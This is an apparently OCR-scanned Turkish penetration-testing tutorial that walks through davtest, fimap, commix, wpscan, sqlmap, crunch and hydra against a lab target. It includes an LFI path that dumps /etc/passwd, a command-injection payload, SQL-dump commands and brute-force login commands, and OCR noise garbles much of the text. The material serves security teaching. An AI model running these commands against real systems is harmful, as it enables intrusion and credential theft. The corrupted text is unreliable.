[DATA] max 1 task per 1 server, overall 1 tasks, 1496 login tries (1:34/p:44), ~1496 tries per task




Davtest:
Davtest aracini anlatmadan 6énce webdav’in ne oldugunu anlatalim.

Webdav, http protokolii tGizerinde uzak sunucu lzerinde dosya islemlerini yapmaya arayan, web
sunucu ozelligidir.

Apache web sunucuda bu 6zellik kapal olarak gelmektedir. Bu 6zelligi agmak gerekir. Windows da ise
[IS 6.0 sonrasi igin bu 6zellik varsayilan olarak kapalidir.

Davtest araci, webdav 6zelligi acik olan web sunucularda dosya yikleme testi yaparak, calistirilabilir
dosyalari kabul edip etmedigi, exe dosylarini txt formatinda gonderip, sunucuda uzantisini
degistirerek, uzaktan kod ¢alistirmayi test eder.

Kullanimi:
davtest -url <url adresi>

Asagidaki komutla hedef sunucuda webdav’in agik olup olmadigi ve hangi dosyalari atabildigimizi test
edecegiz.

root@kali:~# davtest
ERROR: Missing -url

Jusr/binsdavtest -url <url= [options]

-auth+ Authorization (user:password)

-cleanup delete everything uploaded when done

-directory+ postfix portion of directory to create

-debug+ DAV debug level 1-3 (2 & 3 log req/resp to /tmp/perldav_debug.txt)
-move PUT text files then MOVE to executable

-nocreate don't create a directory

-quiet only print out summary

-rand+ use this instead of a random string for filenames

-sendbd+ send backdoors:

auto - for any succeeded test

ext - extension matching file name(s) in backdoors/ dir
-uploadfile+ upload this file (requires -uploadloc)
-uploadloc+ upload file to this location/name (requires -uploadfile)
-url+ url of DAV location

Example: /fusr/bin/davtest -url http://localhost/davdir

davtest -url http://192.168.152.135

sk 3k sk 3k ok sk ok sk ok ok ok sk ok ok sk sk ok sk sk sk sk sk ok sk sk ok sk sk ok sk sk ok sk sk ok sk ok ok sk ok ok ok ok ok ok ok ok ok sk sk ok sk sk sk ok

Testing DAV connection
OPEN SUCCEED: http:// 192.168.152.135

sk 3k sk sk ok sk sk sk sk ok ok ok ok ok sk sk sk sk sk sk sk sk sk sk sk ok sk sk ok sk sk ok sk ok ok sk ok ok ok ok ok ok ok sk ok sk sk ok sk sk sk sk sk sk ok

NOTE Random string for this session: BOyG9nhdFS8gox
3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 3k 5k 3k 3k 5k 3k >k %k >k 3k 3k 3%k 3k 3k 3k 3k >k 5k 3k >k 5k %k >k %k %k 5%k 3k >k 5k >k 5k 3k 5k 3k 3k 5k %k %k %k %k %k kk k
Creating directory

MKCOL  SUCCEED: Created http:// 192.168.152.135/DavTestDir_BOyG9nhdFS8gox

3k 3k 3k 3k 3k 3k 5k %k 3k 5k %k 3k 5k %k 5k 5k %k sk 5k %k sk 5k 3k sk 5k ok sk 3k ok %k 3k ok %k 3k ok %k 3k ok ok 3k ok ok 3k ok ok 3k ok ok k ok ok sk sk ok k k



Sending test files

PUT asp FAIL

PUT cgi FAIL

PUT txt SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.txt

PUT pl SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.pl

PUT jsp SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.jsp
PUT cfm SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.cfm
PUT aspx  FAIL

PUT jhtml SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.jhtml
PUT php SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9InhdFS8gox.php
PUT html SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGOnhdFS8gox.html
PUT shtml FAIL

S oo o ook ook ook ook ok o ok o K o K R R K K K o

Checking for test file execution

EXEC txt SUCCEED: http://192.168.152.135/DavTestDir_BOyGInhdFS8gox/davtest_BOyGInhdFS8gox.txt
EXEC pl FAIL

EXEC jsp FAIL

EXEC cfm FAIL

EXEC jhtml FAIL

EXEC php FAIL

EXEC html SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.html

sk 3k sk 3k ok ok 3k ok ok 3k ok ok ok ok ok sk ok ok sk ok ok sk ok ok sk ok sk sk ok ok sk ok ok sk ok ok sk ok ok ok ok ok ok ok ok ok ok ok ok ok ok sk sk ok ok

/usr/bin/davtest Summary:

Created: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox

PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.txt
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.pl
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.jsp
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.cfm
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.jhtml
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.php
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.html
Executes: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.txt

Executes: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyGInhdFS8gox.html



Fimap:
Fimap, web uygulamalarindaki LFI(Local File Inclusion) ve RFI(Remote File Inclusion) buglari bulmaya
yarayan otomatik bir aractir.

Araci kullanmaya baslamadan 6nce LFI ve RFI hakkinda biraz bilgi verelim.
LFI: Hedef web uygulamasinda ziyaretcilere sunulmamis yerel dosyalarin goriintiilenmesine denir.

RFI: Hedef web uygulamasinda saldirgan tarafindan dosya yiiklenip, sunucu lizerinde goriintiilenmesi
islemidir.

Sik kullanilan parametreleri tanimlayalim.

-s, --single Tek bir url’i test edilecek
-m , --mass Dosyadaki liste tek tek kontrol edilecek
-g, --google Google dan girdigimiz sorguyu arattiracak
-u, --url=URL Test etmek istedigimiz URL girilecek
-1, --list=LIST Test etmek istedigimiz URL listesi girilecek
-q, --query=QUERY sorguyu test edecek
-p, --pages=COUNT Google da arattirirken kag sayfa bakilacagini gésterir. Varsayilan 10
-P, --post=POSTDATA Post edilecek datayi gosterir
--cookie=COOKIES post edilecek cookie
-X, --exploit interactif session acarak, aksiyon igin secenek sunar.
Kullanimi:

fimap.py <parametre> <url>

Ornekler:

Jfimap.py -u 'http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php’
Jfimap.py -m -l '/root/urllist.txt'

Jfimap.py -g -q 'inurl:include.php'

Simdi http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php adresindeki Fl agikhgin
fimap araci ile test edelim.

./fimap.py -u "http: .168.152.135/dvwa/vulnerabilities/fi/?page=include.php
/fi "http://192.168.152.135/d /vul bilities/fi/? include.php"

root@kali:/pentest/exploitation/fimap/src# ./fimap.py -u "
http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php

fimap v.1.00_svn (My life for Aiur)
:: Automatic LFI/RFI scanner and exploiter

:: by Iman Karim (fimap.dev@gmail.com)


http://192.168.152.135/fi.php?inc=index.php

SingleScan is testing URL: ' http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php'
[OUT] Inspecting URL ' http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php'...
[INFO] Fiddling around with URL...
[OUT] Possible file inclusion found! -> ' http://192.168.152.135/fi.php?inc =bUTeWg6j' with Parameter 'inc'.
[OUT] Identifing Vulnerability ' http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php' with Key 'inc'...
[INFO] Scriptpath received: '/var/www'
[INFO] Testing file '/etc/passwd'...
HHHHHHHH T R R R R R
#[1] Possible File Injection #
HEHHH R R R R R
# [URL] http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php #

# [PARAM] inc #

# [PATH] /var/www #

# [TYPE] Absolute Clean + Remote injection #
# [NULLBYTE] No Need. It's clean. #

# [READABLE FILES] #

# [0] /etc/passwd #

HHUHHHEHE

/etc/passwd dosyasinin okunabildigini ortaya ¢ikardi. Yani sunucuda LFI acigi var ve bu acik fimap
aracihg ile tespit edildi.

index.php dosyasinin bulundugu yer /var/www/dvwa/vulnerabilities/fi/ klasériinde. /etc/passwd
klasériine gidebilmek icin 5 klasor yukari ctkmamiz gerekecek. /etc/passwd dosyamizi okumak icin,

http://192.168.152.135/dvwa/vulnerabilities/fi/?page=../../../ ../ ../etc/passwd yoluna gidebiliriz.

Dosyamiza eristik.

€ () 192.168.152.135/dvwafvulnerabilities/fi/page=. .. ./ /etc/passwd v| @ | Q Search vE A =
oot::0:0:root:/root:/bin/bash daemon:x:1: 1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev: bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usrigames:/bin/sh man:x.6:12:man:/var
cache/man:/bin/sh p:x:7:7:Ip:/var/spoollpd: fin/sh mail:x:8:8:mail:varimail:/hin/sh news:x:9:3:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spooliuucp: /bin/sh proxy:x:13:13:proxy:/bin:/bin'sh
nnt-Gatax: 33: 33 ww--iata: fvarhwanw/bin/sh backup:x:34: 34: backup:varibackups:/bin/sh listx:38:36:Mailing List Manager:var/list:/bin/sh ircox:39:39:ircd: ivaufmunfircd: fbin/sh gnats:x:41:41:Gnats Bug-Reporting System
@dmin):/varlibignats:/bin/sh nobody:x:65534:63534:nobody: nonexistent:/bin/sh libuvid:x: 100:101:varflin/libuuid:/bin/sh dhep:x:101:102::/nonexistent:/bin/alse syslogox:102:103:homefsyslog:/bin/false
log::103:104::/homefklog:/binfalse sshd:x:104:65534::/varlrun/sshd:/usr/shin/nologin msfadmin:x:1000:1000:msfadmin,,, home/msfadmin:/birn/bash bind:x:105:113::/var/cache/bind: hin/false postfix:x:106:115::\var
spoalpostix:/bin/false ftp:x: 10765534 /homeftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,var/lib/postgresql:/in/bash mysglx:109:118:MySQL Server, varfib/mysgl:/bin/false

elnetd:x:112:120::/nonexistent: bin/false proftpd:x:113:65534: varirun/proftpd:/bin/false statd:x:114:65534::fvarflibinfs:/in/false snmp:x:115:65534: varflib/snmp:/hin/false
laming: Cannot modify header information - headers already sent by (output staried at /etc/passwd:12) in Ivariwwwidvwaldwwalincludes/dvwaPage.inc.php on line 324

laming: Cannot modify header information - headers already sent by (output staried at /etc/passwd:12) in Ivariwwwidvwaldwwalincludes/dvwaPage.inc.php on line 325

laming: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in Ivarwwwidvwaldvwalincludes/dvwaPage.inc.php on line 326




Commix:

Commix araci, ismini [comm]and [i]njection e[x]ploiter dan almaktadir. Kisaca sizma testi uzmanlari
tarafindan, web uygulamasindaki komut enjeksiyonu zaafiyeti olup olmadigini test etmek amaciyla
kullanilan bir aragtir.

Command injection zaafiyeti, hedef web uygulamasinda, saldirganin istedigi komutu (isletim sistemi
veya diger shell komutlarini) calistirabilmesine neden olan bir zaafiyettir.

Karsimizda ping komutu calistirmamiza izin veren bir web uygulamasi olsun.

Ping for FREE

Enter an IP address below:

192.168.152.135 submit

PING 192.168.152.135 (192.168.152.135) 56(84) bytes of data.

64 bytes from 192.168.152.135: icmp seg=1 ttl=64 time=0.029 ms
64 bytes from 192.168.152.135: icmp seg=2 ttl=64 time=0.025 ms
64 bytes from 192.168.152.135: icmp segq=3 ttl=64 time=0.058 ms

--- 192.168.152.135 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 2881ms
rtt min/avg/max/mdev = 0.025/0.0834/0.050/0.012 ms

Ping yapmak istedigimiz hedef ip bilgisini yazdigimizda, ping isteginin ciktisinin karsimiza geldigini
gorliyoruz. Bu da gosteriyor ki, web uygulamasi metin kutusuna yazdigimiz ip bilgisini sunucudaki
komut satiri araciligiyla islemi gerceklestirip, sonucu ekrana vermekte. Sayet ip bilgisinin yazildigi metin
kutusu denetlemeye tabi tutulmadi ise, baska komutlar da ¢alistirilmasina izin veriyor olabilir.

Bunu && Is -| komutuyla test ediyoruz. Ve gorildigi gibi metin kutusunda ip haricinde istedigimiz
baska komutlari da galistirabildigimizi gérdik. Uygulama da command injection oldugunu tespit ettik.

Ping for FREE

Enter an IP address below:

192.168.152.135 && |s -| submit

PING 192.168.152.135 (192.168.152.135) 56(84) bytes of data.

64 bytes from 192.168.152.135: icmp seq=1 ttl=64 time=0.067 ms
64 bytes from 192.168.152.135: icmp seq=2 ttl=64 time=0.872 ms
64 bytes from 192.168.152.135: icmp seg=3 ttl=64 time=0.065 ms

--- 192.168.152.135 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2018ms
rtt min/avg/max/mdev = 0.065/0.068/0.072/0.003 ms

total 12

drwxr-xr-x 2 www-data www-data 40896 May 20 2012 help
-MwW-r--r-- 1 www-data www-data 1509 Mar 16 2810 index.php
drwxr-xr-x 2 www-data www-data 40896 May 20 2012 source




Kullanimi:
commix —url <komut enjeksiyonun oldugu url> <seg¢enekler>
En sik kullanilan segenekler --cookie ve --data segenegi

Once zap proxy ile istegi tamper edip, cookie ve post datasini alahim.

[ %" Quick Start I = Reguest T Responses= T 24 Break | 4

Method _v] |Header: Text _v] | Body: Text _v] j =

POST http://192.168.152.135/dvwa/vulnerabilities//exec/ HTTP/1.1

Host: 1892.168.152.135

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xBS5_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: textshtml,applicationsxhtml+xml,application/xml;q=0.9,#*/4;q=0.8
Accept-Language: en-Us,en:gq=0.5 f

I

Referer: http://192.168.152.135/dvwa/vulnerabilities exec/
Cookie: security=low; PHPSESSID=dc35d8c0332ab0913698178549032eed
Connection: keep-alive v

ip=192.168.152.1355submit=submit

Data’yi post ettigimiz kismi INJECT_HERE ile degistirerek komutumuzu kullanalim.

commix.py --url http://192.168.152.135/dvwa/vulnerabilities/exec/# --cookie="security=low;
PHPSESSID=dc35d8c033eab0913698178549032eed" --data="ip=INJECT_HERE&submit=submit"

Komut enjeksiyonu basarili. Terminal shell’i alip komutlari ¢alistirabiliriz.

ulnerabilities --cookie="security=low; PHPSESSID=dc3 3eab8913 3 --data="1p=INJECT_HERE&sub
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Wpscan:
Wpscan araci, wordpress tabanli siteler hakkinda bilgi toplayan, kullanilan wordpress versiyonunu,
pluginleri ve zaafiyetlerini taramaya yarayan bir aractir.

Sik kullanilan parametrelerine bakalim.
--update wpscan versiyonunu glinceller
--url | -u <target url> Hedef wordpress url’i tarar
--enumerate | -e [option(s)] asagidaki seceneklerle beraber kullanilip bilgi toplar
segenekler

u id bilgisi 1 ile 10 arasindaki kullanicilar getirir

u[10-20] id bilgisi 10 ile 20 arasindaki bilgileri getiri

p pluginleri getirir

vp  zaafiyeticeren pluginleri getirir

ap  tim pluginleri getiri

t temalari getiri

vt  sadece zaafiyetli temalari getiri

at  tlim temalar getirir

--wordlist | -w <wordlist> Sifre denemesi igin sozlik kullanir
--username | -U <username> Belirtilen kullanici adini dener
--usernames <path-to-file> Dosyadaki kullanici adlarini dener.
Kullanimi:

./wpscan -u <hedef site> -e <secenekler>

Ornekler:

./wpscan.rb --url www.example.com

./wpscan.rb --url www.example.com --wordlist sifre.txt

./wpscan.rb --url www.example.com --wordlist sifre.txt --username admin
./wpscan.rb --url www.example.com --enumerate p

./wpscan.rb --url www.example.com --enumerate t

ruby ./wpscan.rb --url www.example.com --enumerate u

simdi herhangi bir secenek vermeden bir web sitesini tarayalim.
./wpscan.rb --url www.hedefsite.com

Tarama sonucundan da goriilecegi gibi, sitenin wordpress versiyonunu, pluginleri, pluginlerin
versiyonunu getirdi. Diger komutlarla da zaafiyet iceren pluginleri ve sozliik atagi yapilabilir.



Sqglmap

SQLMap web uygulamalarinda SQL Injection agikhginin otomatize denetimini gergeklestirebilen bir
aragtir. SQLMap ile uygulamanin SQL Injection agikligindan etkilenip etkilenmediginin denetimi
yapilabilir. Eger aciklik var ise arka-uc'ta kullanilan veritabani yonetim sistemi bilgisine, sistemdeki
verilere ve hatta dosya sistemi ve isletim sistemine erisilebilmektedir.

Sql hatasi aldigimiz hedef web sitesinde, hatayi aldigimiz url’de asagidaki parametreleri yazarak,
sqlmap’in bizim i¢in sql injection agikhgini aramasini isteyecegiz

sqlmap -u “zaafiyetin oldugu url” --dbs
-u: url adresi
--dbs: veritabanlarini getir

Test basarili olursa bizlere veritabani isimlerini listeleyecektir. Daha sonra tablolari listelemesini
isteyelim

sqglmap -u “zaafiyetin oldugu url” -D “veritabani adi” --tables

Yine komut basarili oldugu takdirde bize tablolar listeleyecektir. Daha sonra tablodaki kolonlari
listelemesini isteyelim

sqglmap -u “zaafiyetin oldugu url” -D “veritabani adi” -T “tablo adi” --columns
Bir sonraki adimda da istedigimiz kolonlar dump ediyoruz.

sqlmap -u “zadfiyetin oldugu url” -D “veritabani adi” -T “tablo adi” -C “kolonadii,kolonadi2,,,” -
dump



Sifre Saldirilari:

Crunch:
Crunch araci, sizin belirleyeceginiz algoritmalar ile size sifre s6zIUgl olusturmaniza yardimci olacaktir.
Ucretsiz, hizli ve kolay kullanimindan dolayi en ¢ok tercih edilen araclardan biridir.

Crunch araci ile parola lretebilmek icin karakter seti kullanir. Bu karakter seti crunch’in icinde olan
karakter seti olabilecegi gibi kendimizde karakter seti olusturup tanimlayabiliriz.

Crunch’in kendisine ait karakter setine asagidaki komut ile erisebiliriz.

cat /usr/share/crunch/charset.Ist

root@kali:~# cat /usr/share/crunch/charset.lst
# charset configuration file for winrtgen v1.2 by Massimiliano Montoro (mao@oxid.it)
# compatible with rainbowcrack 1.1 and later by Zhu Shuanglei <shuanglei@hotmail.com>

hex-lower = [0812345678%abcdef]
hex-upper = [0123456789ABCDEF]
numeric [0123456789]

numeric-space [0123456789 ]

symbols14
symbolsl4-space

[1@#$%7&* () -_+=]
[1@#$%s"&*()-_+= ]

symbols-all
symbols-all-space

[t@#$%~&* () - _+=~ [1{}|\:;" <>, .7/]
[1@#g%" & () - _+=~"[1{}|\:;" <>, .2/ ]

[ABCDEFGHIJKLMNOPQRSTUVWXYZ ]

[ABCDEFGHIJKLMNOPQRSTUVWXYZ ]

[ABCDEFGHIJKLMNOPQRSTUVWXYZ8123456789]
[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 |
[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ! @#$%"&* () -_+=]
[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | @#$% &* () -_+= ]
[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | @#$%"&* () - _+=~" [1{}|\:;""'<=,.7/]
[ABCDEFGHIJKLMNOPQRSTUVWXYZ@123456789 ! @#$% &* () - +=~"[1{}|\:;""'<>,.7/ 1]

ualpha

ualpha-space

ualpha-numeric
ualpha-numeric-space
ualpha-numeric-symboll4
ualpha-numeric-symboll4-space
ualpha-numeric-all
ualpha-numeric-all-space

lalpha

lalpha-space

Llalpha-numeric
lalpha-numeric-space
lalpha-numeric-symboll4
lalpha-numeric-symboll4-space
lalpha-numeric-all
lalpha-numeric-all-space

[abcdefghijklmnopgrstuvwxyz]

[abcdefghijklmnopqgrstuvwxyz ]

[abcdefghijklmnopqgrstuvwxyz0123456789]
[abcdefghijklmnopqrstuvwxyz8123456789 |
[abcdefghijklmnopgrstuvwxyz0123456789 ! @#$% &* () -_+=]
[abcdefghijklmnopgrstuvwxyz0123456789 | @#$% & () -_+= ]
[abcdefghijklmnopqrstuvwxyz0123456789 1 @#$% &* () - +=~" [1{}|\:;""'<=,.7/]
[abcdefghijklmnopqrstuvwxyz@123456789 ! @#$% &% () - +=~"[1{}|\:; VA

mixalpha
mixalpha-space
mixalpha-numeric

[abcdefghijklmnepgqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
[abcdefghijklmnopgrstuvwxyzABCDEFGHIIJKLMNOPQRSTUVWXYZ ]
[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]

mixalpha-numeric-space [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]

mixalpha-numeric-symboll4 [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | @#4$% &+ () -_+=]
mixalpha-numeric-symboll4-space = [abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$% &% ()-_+= ]
mixalpha-numeric-all = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ8123456789 1 @#4$% &% () - +=~"[1{}|\:;"'<=>,.2/]
mixalpha-numeric-all-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$% &% () - +=~"[1{}|\:;""'<>,.7/ ]

Crunch’in kendi karakter setini kullanarak 6 karakterli lalpha-numaric (kt¢lik harf ve rakamlardan
olusan) bir paralo listesi olusturalim.

crunch 6 6 -f [usr/share/crunch/charset.Ist lalpha-numeric -o wordlist.txt

Crunch will now generate the following amount of data: 15237476352 bytes
14531 MB

14 GB

0TB

OPB

Crunch will now generate the following number of lines: 2176782336

Komutun ¢iktindan da gorilecegi gibi bu komutun sonunda 14 GB’lik ¢ikti Giretecek.

Genel kullanim sekli asagidaki gibidir.



crunch <min-uzunluk> <max-uzunluk> [<karakter stringi>] [secenekler]
Sik kullanilan seceneklerle 6rneklendirelim:

-b secenegi olusturacaginiz dosyanin parcal olarak (maksimum ka¢ KB / MB / GB)lar halinde
olusturulmasini saglar. "-o START" secenegi beraber kullanilir. Ornek:345 MB’lik dosyayr 100MB’lik
dosyalar halinde pargalayabiliriz. Dosya adi olarak dosyanin igindeki ilk parola ile son parolayi
kullanacaktir.

root@kali:~/Desktop/wordlists# crunch 5 5 -f /Jusr/share/crunch/charset.lst lalpha-numeric -b 100MB -o START
Crunch will now generate the following amount of data: 362797056 bytes

345 MB

0 GB

e TB

@ PB

Crunch will now generate the following number of lines: 60466176

crunch: 27% completed generating output

crunch: 55

o

completed generating output
crunch: 82% completed generating output
crunch: 85% completed generating output

crunch: 100% completed generating output

root@kali:~/Desktop/wordlists# 1s -1

total 354312

-rw-r--r-- 1 root root 62797068 Feb 14 ©2:42 31yi4-99999.txt
-rw-r--r-- 1 root root 99999996 Feb 14 ©2:42 aaaaa-j7ic7.txt
-rw-r--r-- 1 root root 99999996 Feb 14 ©2:42 j7ic8-t4qgf5.txt
-rw-r--r-- 1 root root 99999996 Feb 14 ©2:42 t4gf6-31yi3.txt

-c Her bir dosyaya maksimum kag satir yazilacagini ayarlayabiliriz. Yine -o START komutuyla beraber
kullanilir.

100.000 satirhk ¢iktiyr 20.000 satirlara ayirabiliriz.

root@kali:~/Desktop/wordlists# crunch 5 5 -f /Jusr/share/crunch/charset.lst numeric -c 20000 -o START
Crunch will now generate the following amount of data: 120000 bytes

0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 20000

crunch: 100% completed generating output
crunch: 200% completed generating output
crunch: 300% completed generating output
crunch: 400% completed generating output

crunch: 500% completed generating output
root@kali:~/Desktop/wordlists# 1s -1

total 600

-rw-r--r-- 1 root root 120000 Feb 14 02:46 00080-19999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 20000-39999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 40000-59999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 60000-79999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 80000-99999.txt

-e parola Uretiminin hangi degerden sonra durmasini istiyorsaniz -e parametresini kullanabiliriz.




root@kali: # crunch 5 5 -f Jusr/share/crunch/charset.lst numeric -e 25000 -o START
Crunch will now generate the following amount of data: 150006 bytes

e MB

0 GB

e TB

e PB

Crunch will now generate the following number of lines: 25001

crunch: 100% completed generating output

-f kullanilacak karakter setinin yolu belirtilir.

crunch 6 6 -f [usr/share/crunch/charset.Ist lalpha-numeric -o wordlist.txt
-i parametresiyle, normalde gikacak sonucu tersine gevirerek lretir.

-0 Uretilecek dosyanin adi ve yolu belirtilir.

-p girilen degerin permiitasyonunu yapar

root@kali: # crunch 1 1 -p abc

Crunch will now generate approximately the following amount of data: 24 bytes
0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: &
abc

ach

bac

bca

cab

cba

-q permiitasyonu dosyadan okutarak da saglayabiliriz.
-r secenegi ile daha 6nce ctrl-c ile durdugumuz komutu devam ettirebiliriz.
crunch 6 6 -f fusr/share/crunch/charset.Ist lalpha-numeric -o wordlist.txt -r
-s Parola Uretimin hangi kelime, harf veya rakamdan baslamasini belirtebilirsiniz.
-t Uretilecek parolanin neresinde nasil karakter olacagini biz belirleyebiliriz.
@ -- kiglk harf
, - Buyilk harf
% -- numara
A - Ozel karakter
crunch 6 6 -t test@
(ciktisi testa, testb, testc...)
crunch 6 6 -t test,
(ciktisi testA, testB, testC...)
crunch 6 6 -t test%

(ciktisi testl, test2, test3....)



crunch 6 6 -t test”

(ciktisi test!, test&,test@....)
crunch 9 9 -t test@, %"
¢iktisinin son 10 degeri

testzZ9;
testzz9"
testzz9'
testzZ9<
testZ9>
testzZ9,
testzZ9.
testzz9?
testzz9/
testzZ9

@,%" isaretlerini kullanarak -t parametresiyle istediginiz kombinasyonu saglayabilirsiniz.



Hydra:
Hedef domain lzerinde acik olan servislere, ayni anda birden ¢ok paralel baglanti ile kaba-kuvvet
yontemiyle sifre denemeleri saglayan hizli ve esnek bir aractir.

Arac asagidaki protokolleri destekler.

Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET,
HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID,
PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum,
SNMP v1+v2+v3, SOCKS5, SSH (vl and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-
Auth, VNC and XMPP

-l LOGIN ile denemesini istedigimiz tek bir kullanici adi verebilir veya -L FILE parametresiyle dosya
dan birden ¢ok kullanici adlarini okutabiliriz.

-p PASS ile denemesini istedigimiz tek bir sifreyi verebilir veya -P FILE paramatresiyle dosyadan birden
cok sifreyi denemesini saglayabiliriz.

-C FILE parametresi ile "login:pass" formatinda dosyadan kullanici adi ve sifreleri denettirebiliriz.
-M FILE parametresi ile birden ¢ok sunucuya saldirabiliriz. Her satira bir sunucu IP’si yazilmalidir.

-t TASKS parametresi ile ayni anda hedefe kag paralel baglanti kurulacagini belirtebilirsiniz(varsayilan:
16)

-S Parametresiile hedefe ssl baglanti saglar
-s PORT servis varsayilan portun disinda bir port da calisiyor ise bu parametreyi kullanabilirsiniz.

-e nsr -e parametresinden sonra bos bir sifre denemesi "n", ayni kullanici adi ve sifre denemesi igin
"s", kullanici adinin tersten yazilisini sifre olarak denemesi icin"r" parametresi kullanilir. Ugiinii birden
ayni anda kullanmasi icin “nsr” parametresini kullanabiliriz.

-0 FILE parametresi ile basarili olan denemeleri dosyaya yazirabiliriz.
-f parametresi ile deneme basarili oldugunda saldiriyi durdurabiliriz.

-v/ -V /-d parametrelerinden her biri ile deneme esnasinda ¢iktilari gérmemizi saglar, verbose mod.

ornekler:

hydra -l admin -p password123 ftp://192.168.1.10

hydra -l admin -P password.txt ftp://192.168.1.10

hydra -L user.txt -P password.txt ftp://192.168.1.10

hydra -C userpass.txt ftp://192.168.1.10

hydra -V -f -l admin -P wordlist.txt rdp://192.168.1.100
hydra -l admin -P password.txt -V -o basarili 192.168.1.99 ssh

hydra -s 25 -| test@example.com -P /root/password.txt 192.168.10.5 smtp


ftp://192.168.1.10/
ftp://192.168.1.10/
ftp://192.168.1.10/
ftp://192.168.1.10/

hydra -I admin -P wordlist.txt imap://192.168.0.1/PLAIN

http form sayfalarina saldir yapabilmek i¢in dncelikle login.php sayfasinin url’ini biliyor olmak lazim,
bunun igin zaproxy ile araya girip gerekli login bilgilerini almamiz gerekir.

(* Connecting... x

€ O/ 192.168.152.135/dvwa/login.php

D\(WA)

Username

admin

Password
Login
0 Untitled Session - OWASP ZAP 2.5.0
File Edit View Analyse Report Tools Online Help
[Gendardmode ) 1B M 2§ 2@ 028 O0F & ) @F 0 %XEkE o
m [ & Quick StartT =; Request T Response & T 44 Break m http-pOSt
(O o)

v (5 contexts
[©] Default Context

| Method ‘-] | Header: Text .'] | Body: Text D= ]|

[POST http://192.168.152.135/dvwa/ Login.php HTTP/1.1 |
A0S 192,105, 152, 150
» @ P Sites User-Agent: Mozillas/S.0 (¥11; Ubuntu; Linux x86_64; rv:58.0) Gecko/28100101 Firefox/S0.@
Accept: text/htnl,application /xhtnl+xnl,application/xnl;q=0.9,%/#*;q=0.8
Accept-Language: en-US,en;g=0.5
Referer: http://192,168.152.135/dvwa/login.php
Cookie: security=high; PHPSESSID=7chShlb25464a97bc2d18c747f6074c4
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
st | anath. A1

Jr

LS

=

[username:admill password=adnin: Login=Login ]
h

hydra -1 admin -P wordlist.txt -V 192.168.152.135 http-post-form
